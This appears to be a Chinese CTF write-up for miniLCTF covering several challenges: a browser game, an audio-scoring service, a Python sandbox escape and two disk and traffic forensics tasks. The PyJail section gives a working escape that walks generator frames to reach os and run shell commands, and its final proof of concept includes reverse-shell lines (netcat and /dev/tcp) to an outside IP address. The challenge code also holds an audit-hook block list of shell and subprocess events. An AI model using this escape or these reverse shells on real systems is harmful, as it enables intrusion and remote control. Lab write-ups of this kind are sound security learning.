吃豆人 简单的前端游戏,不知道为什么扔到misc了。。
看一眼源码
那就预先在控制台输好score
输完再私一下就拿到flag
麦霸评分 先本地wsrx连接上环境,我这里是6033
题目要求唱歌然后打分,我们py写个脚本把原始音频下过来,再传上去就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsdef get_flag (base_url: str = "http://127.0.0.1:6033" ): session = requests.Session() print ("[*] 正在下载原始音频…" ) resp = session.get(f"{base_url} /original.wav" ) resp.raise_for_status() audio_data = resp.content try : session.get(f"{base_url} /prepare-recording" , timeout=5 ) except Exception: pass print ("[*] 正在上传“录音”进行对比…" ) files = { 'audio' : ('original.wav' , audio_data, 'audio/wav' ) } resp2 = session.post(f"{base_url} /compare-recording" , files=files) resp2.raise_for_status() data = resp2.json() if data.get("flag" ): print ("🎉 Flag:" , data["flag" ]) else : print ("⚠️ 服务器返回:" , data) if __name__ == "__main__" : get_flag()
PyJail 连上即给源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 import socketserverimport sysimport astimport iowith open (__file__, "r" , encoding="utf-8" ) as f: source_code = f.read() class SandboxVisitor (ast.NodeVisitor): def visit_Attribute (self, node ): if isinstance (node.attr, str ) and node.attr.startswith("__" ): raise ValueError("Access to private attributes is not allowed" ) self .generic_visit(node) def safe_exec (code: str , sandbox_globals=None ): original_stdout = sys.stdout original_stderr = sys.stderr sys.stdout = io.StringIO() sys.stderr = io.StringIO() if sandbox_globals is None : sandbox_globals = { "__builtins__" : { "print" : print , "any" : any , "len" : len , "RuntimeError" : RuntimeError, "addaudithook" : sys.addaudithook, "original_stdout" : original_stdout, "original_stderr" : original_stderr } } try : tree = ast.parse(code) SandboxVisitor().visit(tree) exec (code, sandbox_globals) output = sys.stdout.getvalue() sys.stdout = original_stdout sys.stderr = original_stderr return output, sandbox_globals except Exception as e: sys.stdout = original_stdout sys.stderr = original_stderr return f"Error: {str (e)} " , sandbox_globals CODE = """ def my_audit_checker(event, args): blocked_events = [ "import", "time.sleep", "builtins.input", "builtins.input/result", "open", "os.system", "eval","subprocess.Popen", "subprocess.call", "subprocess.run", "subprocess.check_output" ] if event in blocked_events or event.startswith("subprocess."): raise RuntimeError(f"Operation not allowed: {event}") addaudithook(my_audit_checker) """ class Handler (socketserver.BaseRequestHandler): def handle (self ): self .request.sendall(b"Welcome to Interactive Pyjail!\n" ) self .request.sendall(b"Rules: No import / No sleep / No input\n\n" ) try : self .request.sendall(b"========= Server Source Code =========\n" ) self .request.sendall(source_code.encode() + b"\n" ) self .request.sendall(b"========= End of Source Code =========\n\n" ) except Exception as e: self .request.sendall(b"Failed to load source code.\n" ) self .request.sendall(str (e).encode() + b"\n" ) self .request.sendall(b"Type your code line by line. Type 'exit' to quit.\n\n" ) prefix_code = CODE sandbox_globals = None while True : self .request.sendall(b">>> " ) try : user_input = self .request.recv(4096 ).decode().strip() if not user_input: continue if user_input.lower() == "exit" : self .request.sendall(b"Bye!\n" ) break if len (user_input) > 100 : self .request.sendall(b"Input too long (max 100 chars)!\n" ) continue full_code = prefix_code + user_input + "\n" prefix_code = "" result, sandbox_globals = safe_exec(full_code, sandbox_globals) self .request.sendall(result.encode() + b"\n" ) except Exception as e: self .request.sendall(f"Error occurred: {str (e)} \n" .encode()) break if __name__ == "__main__" : HOST, PORT = "0.0.0.0" , 5000 with socketserver.ThreadingTCPServer((HOST, PORT), Handler) as server: print (f"Server listening on {HOST} :{PORT} " ) server.serve_forever()
省流:
1 2 3 4 5 6 7 8 9 def my_audit_checker (event, args ): blocked_events = [ "import" , "time.sleep" , "builtins.input" , "builtins.input/result" , "open" , "os.system" , "eval" ,"subprocess.Popen" , "subprocess.call" , "subprocess.run" , "subprocess.check_output" ] if event in blocked_events or event.startswith("subprocess." ): raise RuntimeError(f"Operation not allowed: {event} " ) addaudithook(my_audit_checker)
就是要在这个钩子的限制下逃逸并且限制能用的东西只有如下
1 2 3 4 5 6 7 8 9 "__builtins__" : { "print" : print , "any" : any , "len" : len , "RuntimeError" : RuntimeError, "addaudithook" : sys.addaudithook, "original_stdout" : original_stdout, "original_stderr" : original_stderr }
并且有提示No import / No sleep / No input
还ban掉了类似ssti向下找的方法
看了眼,知道是栈帧逃逸
打一个大致的poc
1 2 3 a=(a.gi_frame.f_back.f_back for i in [2 ]);a=[x for x in a][0 ] b = a.f_back.f_globals['sys' ] os = b.modules.get('os' )
这边其实蛮犹豫要不要用os打的
但是其他模块其实也没什么可以利用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 {'sys' : <module 'sys' (built-in )>, 'builtins' : <module 'builtins' (built-in )>, '_frozen_importlib' : <module '_frozen_importlib' (frozen)>, '_imp' : <module '_imp' (built-in )>, '_thread' : <module '_thread' (built-in )>, '_warnings' : <module '_warnings' (built-in )>, '_weakref' : <module '_weakref' (built-in )>, '_io' : <module '_io' (built-in )>, 'marshal' : <module 'marshal' (built-in )>, 'posix' : <module 'posix' (built-in )>, '_frozen_importlib_external' : <module '_frozen_importlib_external' (frozen)>, 'time' : <module 'time' (built-in )>, 'zipimport' : <module 'zipimport' (frozen)>, '_codecs' : <module '_codecs' (built-in )>, 'codecs' : <module 'codecs' (frozen)>, 'encodings.aliases' : <module 'encodings.aliases' from '/usr/local/lib/python3.11/encodings/aliases.py' >, 'encodings' : <module 'encodings' from '/usr/local/lib/python3.11/encodings/__init__.py' >, 'encodings.utf_8' : <module 'encodings.utf_8' from '/usr/local/lib/python3.11/encodings/utf_8.py' >, '_signal' : <module '_signal' (built-in )>, '_abc' : <module '_abc' (built-in )>, 'abc' : <module 'abc' (frozen)>, 'io' : <module 'io' (frozen)>, '__main__' : <module '__main__' from '/app/app.py' >, '_stat' : <module '_stat' (built-in )>, 'stat' : <module 'stat' (frozen)>, '_collections_abc' : <module '_collections_abc' (frozen)>, 'genericpath' : <module 'genericpath' (frozen)>, 'posixpath' : <module 'posixpath' (frozen)>, 'os.path' : <module 'posixpath' (frozen)>, 'os' : <module 'os' (frozen)>, '_sitebuiltins' : <module '_sitebuiltins' (frozen)>, '_distutils_hack' : <module '_distutils_hack' from '/usr/local/lib/python3.11/site-packages/_distutils_hack/__init__.py' >, 'site' : <module 'site' (frozen)>, '_socket' : <module '_socket' from '/usr/local/lib/python3.11/lib-dynload/_socket.cpython-311-x86_64-linux-musl.so' >, 'itertools' : <module 'itertools' (built-in )>, 'keyword' : <module 'keyword' from '/usr/local/lib/python3.11/keyword.py' >, '_operator' : <module '_operator' (built-in )>, 'operator' : <module 'operator' from '/usr/local/lib/python3.11/operator.py' >, 'reprlib' : <module 'reprlib' from '/usr/local/lib/python3.11/reprlib.py' >, '_collections' : <module '_collections' (built-in )>, 'collections' : <module 'collections' from '/usr/local/lib/python3.11/collections/__init__.py' >, 'collections.abc' : <module 'collections.abc' from '/usr/local/lib/python3.11/collections/abc.py' >, 'math' : <module 'math' from '/usr/local/lib/python3.11/lib-dynload/math.cpython-311-x86_64-linux-musl.so' >, 'select' : <module 'select' from '/usr/local/lib/python3.11/lib-dynload/select.cpython-311-x86_64-linux-musl.so' >, 'selectors' : <module 'selectors' from '/usr/local/lib/python3.11/selectors.py' >, 'types' : <module 'types' from '/usr/local/lib/python3.11/types.py' >, '_functools' : <module '_functools' (built-in )>, 'functools' : <module 'functools' from '/usr/local/lib/python3.11/functools.py' >, 'enum' : <module 'enum' from '/usr/local/lib/python3.11/enum.py' >, 'errno' : <module 'errno' (built-in )>, 'array' : <module 'array' from '/usr/local/lib/python3.11/lib-dynload/array.cpython-311-x86_64-linux-musl.so' >, 'socket' : <module 'socket' from '/usr/local/lib/python3.11/socket.py' >, '_weakrefset' : <module '_weakrefset' from '/usr/local/lib/python3.11/_weakrefset.py' >, 'threading' : <module 'threading' from '/usr/local/lib/python3.11/threading.py' >, 'socketserver' : <module 'socketserver' from '/usr/local/lib/python3.11/socketserver.py' >, '_ast' : <module '_ast' (built-in )>, 'contextlib' : <module 'contextlib' from '/usr/local/lib/python3.11/contextlib.py' >, 'ast' : <module 'ast' from '/usr/local/lib/python3.11/ast.py' >}
接着用
看到了这个
接着就有点迷糊不知道怎么读取了
因为open和system这些能利用的都被ban了
1 2 3 4 5 r, w = os.pipe() pid = os.fork() os.close(r); os.dup2(w, 1); os.execv('/bin/sh', ['sh', '-c', f'cat /flag.txt']); os._exit(0) os.close(w); os.waitpid(pid, 0); data = os.read(r, 4096); print(data.decode())
看来需要根据时间来查一下
1 2 替换一下为 os.execv('/bin/sh', ['sh', '-c', 'find / -mtime 1 -print']);
大概找到路径了
但是问题来了
在这样的路径下怎么读取呢?
一般说,这样的路径用linux执行是会被转义的
而在python中也拒绝\x0a
这类的出现
然后有一个递归读取的东西
完整poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 a=(a.gi_frame.f_back.f_back for i in [2]);a=[x for x in a][0] b = a.f_back.f_globals['sys'] os = b.modules.get('os') r, w = os.pipe() pid = os.fork() os.close(r); os.dup2(w, 1); os.execv('/bin/sh', ['sh', '-c', 'ls -la']); os._exit(0) #os.execv('/bin/sh', ['sh', '-c', f'wc -c {path}']); os._exit(0) os.execv('/bin/sh', ['sh', '-c', 'find /tmp -type f -exec cat {} \\;']); os._exit(0) os.close(w); os.waitpid(pid, 0); data = os.read(r, 512); print(data.decode()) os.execv('/bin/sh', ['sh', '-c', 'find /tmp/.\\x0a\\x0b\\x00hidden/ -mtime 1 -print']); find / -mtime 1 -print os.execv('/bin/sh', ['sh', '-c', 'busybox nc 111.229.205.196 9001 -e sh']); os._exit(0) os.execv('/bin/sh', ['sh', '-c', 'sh -i >& /dev/tcp/111.229.205.196/9001 0>&1']); os._exit(0) os.close(w); os.waitpid(pid, 0); data = os.read(r, 4096); print(data.decode())//缓冲区太大
中间是有一个小插曲的
就是他的那个目录下
哈哈一点都不好笑
而且缓存区开太大靶机会直接死机
中间一段直接红温了
好在最后还是出了,拿了3血,www
MiniForensicsⅠ 看到桌面上有个“没什么用的b.txt”
看题目描述说bitlocker恢复密钥传到了服务器上,我们直接查看桌面上流量就好
在流量里发现
接着往下翻就能看到恢复密钥了
1 521433-074470-317097-543499-149259-301488-189849-252032
然后我们把加密的d盘使用取证大师挂载一下(或者直接虚拟机打开也行)
bitlocker解密一下
在d盘里发现一个c.txt
由于是画图,我们直接使用脚本
这里先把c的图画了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import matplotlib.pyplot as pltdata_str = """ #数据填写处 """ points = [tuple (map (float , pair.split(',' ))) for pair in data_str.split()] x_vals, y_vals = zip (*points) plt.figure(figsize=(10 , 6 )) plt.plot(x_vals, y_vals, marker='o' , linestyle='-' ) plt.title("坐标点折线图" ) plt.xlabel("X" ) plt.ylabel("Y" ) plt.grid(True ) plt.ylim(min (y_vals) - 5 , max (y_vals) + 5 ) plt.tight_layout() plt.show()
画了c的图发现是反转的
反转回来:
发现是fake_flag,但是提醒我们计算a.txt,使用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def read_coords (filename ): with open (filename, 'r' ) as f: lines = f.readlines() coords = [tuple (map (float , line.strip().split(',' ))) for line in lines if line.strip()] return coords def write_coords (filename, coords ): with open (filename, 'w' ) as f: for x, y in coords: f.write(f"{x} ,{y} \n" ) b_coords = read_coords('b.txt' ) c_coords = read_coords('c.txt' ) min_len = min (len (b_coords), len (c_coords)) if len (b_coords) != len (c_coords): print (f"警告:b.txt 和 c.txt 的行数不一致,仅处理前 {min_len} 行" ) a_coords = [ (2 * bx - cx, 2 * by - cy) for (bx, by), (cx, cy) in zip (b_coords[:min_len], c_coords[:min_len]) ] write_coords('a.txt' , a_coords) print ("a.txt 已成功生成!" )
然后再利用画图脚本画出a.txt:
反转一下看到flag:
flag:miniLCTF{forens1c5_s0ooooo_1nt4resting}
MiniForensicsⅡ 我们打开取证,在C盘的user下的document里发现nihao的文件夹
里面是一个pwd.txt和压缩包,pwd提醒我们密码是7位数字,爆破得到密码是:1846287
我们使用winrar解压得到sslkeylog文件。
在桌面上发现有pcapng文件,ssl解密,http流量里发现一个压缩包
保存下来发现里面有useless.png和一个txt
我们使用png文件头爆破得到三串密钥:45797e52 f747cc4c 800bd117
导出,得到txt里面内容:
1 aHR0cHM6Ly9naXRodWIuY29tL3Jvb3QtYWRtaW4tdXNlci93aGF0X2RvX3lvdV93YW5uYV9maW5kLmdpdA==
也就是指向了这个地址:https://github.com/root-admin-user/what_do_you_wanna_find.git
访问,在脚本里发现一串哈希值:89045a3653af483b6bb390e27c10db16873a60d1
脚本里面提示我们historical commits
直接访问Add files via upload · root-admin-user/what_do_you_wanna_find@89045a3
发现隐藏内容,发现是代码混淆,发现flag。
flag:miniLCTF{c0ngr4tul4ti0n5_70u’v3_g0t_th3_s3cr3ts}